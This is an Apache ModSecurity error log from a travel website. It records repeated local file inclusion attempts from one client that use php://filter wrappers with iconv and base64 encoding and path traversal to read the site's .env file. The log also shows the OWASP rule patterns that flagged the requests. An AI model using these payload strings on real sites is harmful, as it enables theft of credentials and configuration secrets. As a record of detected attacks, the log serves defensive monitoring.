[Fri Jul 17 08:55:12.376485 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmA5GPQ6hs4VrfMpBUQAAAAY"]
[Fri Jul 17 08:55:12.376516 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&lang=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env&junk=eUb4CyDo2-Z_l-qktdI2MqHgSmz1i3gKNtQ3_Y3IOrqLlGUkWoHC0na4Yq7P6oIcbPrXXaRJyYrcfrZvATFnGzq_1Q4Vf2XIl8y2nV0leCXgDeBtfwnFVvS4UjTyfPQVfmmFwnv5SHXyp4RkQRfFtsBjZaiBQiZPZIrNw8vHQkNfhmtonhHINfM47iENxkxtDM-fFf4zxaxasea1tch58HYKODqm7vRDtXWvy4m8tLcDl7_lqTtw4u71BmdldPXH1rz9ganQhh1FpC0nDMNfKCxW&anything=AB7FAPSKVCBJGRX3DMYI3HF6EH7QNOR7BYU3VE7ZF6W4US2IOKG6DCACUMFBK7EDUQCAMUR3..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEkXT4NBqALj2lZ8kQAAABA"]
[Fri Jul 17 08:55:12.376579 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&lang=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env&junk=eub4cydo2-z_l-qktdi2mqhgsmz1i3gkntq3_y3iorqllgukwohc0na4yq7p6oicbprxxarjyyrcfrzvatfngzq_1q4vf2xil8y2nv0lecxgdebtfwnfvvs4ujtyfpqvfmmfwnv5shxyp4rkqrfftsbjzaibqizpzirnw8vhqknfhmtonhhinfm47ienxkxtdm-fff4zxaxasea1tch58hykodqm7vrdtxwvy4m8tlcdl7_lqttw4u71bmdldpxh1rz9ganqhh1fpc0ndmnfkcxw&anything=ab7fapskvcbjgrx3dmyi3hf6eh7qnor7byu3ve7zf6w4us2iokg6dcacumfbk7eduqcamur3..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEkXT4NBqALj2lZ8kQAAABA"]
[Fri Jul 17 08:55:12.376627 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:lang: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEkXT4NBqALj2lZ8kQAAABA"]
[Fri Jul 17 08:55:12.376629 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:12.376657 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:lang: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEkXT4NBqALj2lZ8kQAAABA"]
[Fri Jul 17 08:55:12.376915 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmA5GPQ6hs4VrfMpBUQAAAAY"]
[Fri Jul 17 08:55:12.377012 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:lang: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEkXT4NBqALj2lZ8kQAAABA"]
[Fri Jul 17 08:55:12.378078 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEkXT4NBqALj2lZ8kQAAABA"]
[Fri Jul 17 08:55:12.378186 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:12.378456 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmEkXT4NBqALj2lZ8kQAAABA"]
[Fri Jul 17 08:55:12.379075 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:lang: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmA7FYe46zHK_jL3PqgAAABk"]
[Fri Jul 17 08:55:12.379960 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:lang: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFh1WDijTxd1xw5MQAAAAAc"]
[Fri Jul 17 08:55:12.380141 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmA7FYe46zHK_jL3PqgAAABk"]
[Fri Jul 17 08:55:12.380250 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:12.380511 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmA7FYe46zHK_jL3PqgAAABk"]
[Fri Jul 17 08:55:12.380926 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFh1WDijTxd1xw5MQAAAAAc"]
[Fri Jul 17 08:55:12.381031 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:12.381309 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmFh1WDijTxd1xw5MQAAAAAc"]
[Fri Jul 17 08:55:12.381385 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-global": Permission denied [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmFh1WDijTxd1xw5MQAAAAAc"]
[Fri Jul 17 08:55:12.381401 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-ip": Permission denied [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmFh1WDijTxd1xw5MQAAAAAc"]
[Fri Jul 17 08:55:12.386706 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&lang=php%3A%2F%2Ffilter%2Fconvert.iconv.UCS-2LE.UCS-2BE%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&anything=h91rWPOPXfLYjADFGcSfnpn2IJk3_aC80X2dGdYUJV6-KJCpqqvffh3Lu3OLppTyhgoXogjPnx6uKVW2X9Da3EqK0-5j0dJLgmLPw2EWZKa-TyiZspoyWMxWXj48RGmMtxLr-Ui9RQRT0Af0Rx1LHmnirRbolmIqimGZsaI9ddSndV8EBhRBa_nPaVG-7Da_VExk0K3DeelXdnspS3BddQlwih3KfE69G5tlZH3TaLrvZtjlYrJ_nsf1vZBEInMLIfQrWCFEavHTMRFT24PEVZFw&sid=MI5MR6IZKUMHLVY6RJ7K54BRDLE2NQCNC763LGCPLMEBJZ..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmOYpb_TFRze2EO3zXwAAAAE"]
[Fri Jul 17 08:55:12.386755 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:lang: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmOYpb_TFRze2EO3zXwAAAAE"]
[Fri Jul 17 08:55:12.386804 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&lang=php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env&anything=h91rWPOPXfLYjADFGcSfnpn2IJk3_aC80X2dGdYUJV6-KJCpqqvffh3Lu3OLppTyhgoXogjPnx6uKVW2X9Da3EqK0-5j0dJLgmLPw2EWZKa-TyiZspoyWMxWXj48RGmMtxLr-Ui9RQRT0Af0Rx1LHmnirRbolmIqimGZsaI9ddSndV8EBhRBa_nPaVG-7Da_VExk0K3DeelXdnspS3BddQlwih3KfE69G5tlZH3TaLrvZtjlYrJ_nsf1vZBEInMLIfQrWCFEavHTMRFT24PEVZFw&sid=MI5MR6IZKUMHLVY6RJ7K54BRDLE2NQCNC763LGCPLMEBJZFXK3XNVEP2INPXR7WIXUMWS6CS..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmOYpb_TFRze2EO3zXwAAAAE"]
[Fri Jul 17 08:55:12.386841 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&lang=php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../.env&anything=h91rwpopxflyjadfgcsfnpn2ijk3_ac80x2dgdyujv6-kjcpqqvffh3lu3olpptyhgoxogjpnx6ukvw2x9da3eqk0-5j0djlgmlpw2ewzka-tyizspoywmxwxj48rgmmtxlr-ui9rqrt0af0rx1lhmnirrbolmiqimgzsai9ddsndv8ebhrba_npavg-7da_vexk0k3deelxdnsps3bddqlwih3kfe69g5tlzh3talrvztjlyrj_nsf1vzbeinmlifqrwcfeavhtmrft24pevzfw&sid=mi5mr6izkumhlvy6rj7k54brdle2nqcnc763lgcplmebjzfxk3xnvep2inpxr7wixumws6cs..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmOYpb_TFRze2EO3zXwAAAAE"]
[Fri Jul 17 08:55:12.386885 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:lang: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmOYpb_TFRze2EO3zXwAAAAE"]
[Fri Jul 17 08:55:12.386911 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:lang: php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmOYpb_TFRze2EO3zXwAAAAE"]
[Fri Jul 17 08:55:12.387295 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:lang: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmOYpb_TFRze2EO3zXwAAAAE"]
[Fri Jul 17 08:55:12.388561 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmOYpb_TFRze2EO3zXwAAAAE"]
[Fri Jul 17 08:55:12.388727 2026] [hostinglimits:warn] [pid 2023579:tid 2023579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2023579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:12.389071 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmOYpb_TFRze2EO3zXwAAAAE"]
[Fri Jul 17 08:55:12.406235 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:language: php://filter/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFCBpfuYyhJ140vSgQAAAB4"]
[Fri Jul 17 08:55:12.407275 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFCBpfuYyhJ140vSgQAAAB4"]
[Fri Jul 17 08:55:12.407400 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:12.407674 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmFCBpfuYyhJ140vSgQAAAB4"]
